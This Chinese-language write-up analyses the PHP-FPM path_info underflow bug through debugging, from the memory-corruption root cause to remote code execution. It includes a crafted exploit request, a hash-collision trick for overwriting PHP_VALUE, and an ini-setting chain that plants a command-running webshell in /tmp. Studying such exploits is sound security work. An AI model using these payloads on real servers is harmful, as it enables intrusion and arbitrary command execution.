配置php-fpm如下
[global]
error_log = /proc/self/fd/2
daemonize = no
[www]
access.log = /proc/self/fd/2
clear_env = no
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 5
pm.start_servers = 1
pm.min_spare_servers = 1
pm.max_spare_servers = 1
将服务进程限制为1,方便调试
在页面中添加打印path_info
<?php
echo "hello world";
var_dump($_SERVER["PATH_INFO"]);
此时,由于一级路径即为index.php path_info应为空,但却打印出了PATH_INFO
使用tcpdump抓取nginx与php-fpm通过fastcgi通讯的流量
tcpdump -i any tcp -X port 9000
三次握手后在数据包中可以看到传递的path_info为空
判断修复只有一级路径的path时,确实存在过度回退path_info指针的异常
gdb attach 32
找到这个fcgi_accept_request函数调用点
init_request_info时会进行路径修复,修改pathinfo
在1127行后找到相关逻辑
pilen为0,slen为10,则env_path_info前移slen的长度,之后,在path_info中临时置零该位置。
即我们可以在这个位置获得一个临时的,前向越界写零操作
由于这个零很快就被改回old值,我们要想利用这个写零操作,最大的可能性就是在其间的两个fcgi操作中找到利用方式
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
在fastcgi.h中找到相应宏定义
在gdb中
directory /usr/src/php
关联源码
在path info关键处 下断 b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1220
再次发包,停在断点
查看源码结合调试理解fastcgi变量的存放模式,由一块一块的结构体存在在一个连续空间上,由hash_buckets数组存储了每个全局变量的hash_bucket,
*(*fcgi_hash)request.env.hash_table
存储了变量对应bucket的哈希表
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
(_fcgi_hash_bucket)
变量对应的bucket存储了变量的名称、长度与数据地址
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
*(_fcgi_hash_bucket*)request.env.buckets.data
这个数组里面存储每个全局变量的对应的 fcgi_hash_bucket
结构
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
*(_fcgi_data_seg*)request.env.data
对应
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
data存储变长字符串,pos指向未使用字符空间
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
在变量注册时通过malloc分配data空间并初始化
由于path info是全局变量,env_path_info必然是指向request.env.data某处
因此,我们的前向任意写零可以写在pos的低位
从而在注册全局变量时控制memcpy的写入位置,继而覆写污染一些全局变量
但是此处env_path_info与pos的偏移不是固定了,在远程未知
由于结构体的对其,低位偏移固定34,需要一个办法控制path的位置与pos稳定
一个巧妙的风水办法即使得fastcgi重新分配path_info变量的空间,使其处于request.env.data顶部,这样偏移就固定了
让fastcgi不得不重新分配变量的方法就是输入一个长PATH_INFO
,使存储PATH_INFO
变量的空间耗尽从而,从而触发新的分配,path_info就存储在新chunk首了
构造/PHP%0Ais_the_shittiest_lang.php
共30字节,若刚好空间耗尽,malloc发生,则成功修改pos第五字节,使其pos变为一个非法地址,导致崩溃,返回404
通过一下payload修改Q的填充个数,爆破出正确的Q个数(path_info长度)
GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQ...... HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
第一次返回404时停止
同时gdb attach的进程崩溃,fpm自动重启了新进程(740)
b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1223
p *(fcgi_data_seg *)request.env.data
重新尝试payload可以看到pos第五字节位置零
将path继续扩充4个字节,修改pos的低字节
控制了pos低字节接下来只要就只需考虑如何污染变量了
首先考虑PHP_VALUE,但全局变量没有PHP_VALUE变量,
但变量查找是通过hashtable的,只要伪造一个hash与PHP_VALUE相同的变量,读取PHP_VALUE就可能读取到伪造的变量上
爆破算出HTTP_EBUT与PHP_VALUE hash相同
通过增加D-Pisos字段长度来调节EBUT的相对偏移
得到正确’=‘个数,respond见到set-cookie
代表PHP-VALUE被成功覆盖了,那么就可以很容易获取shell了
查看exp,使用了这样一条利用链,https://github.com/neex/phuip-fpizdam
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)
通过log写入shell到/tmp/a
auto prepend附加到全局
即可使靶机执行任意php页面传入的a参数
使用该exp完整利用
至此,我们从发现一个异常输出,找到对应的指针移动越界以及伴随的单字节写零能力,一步步利用,最终获得webshell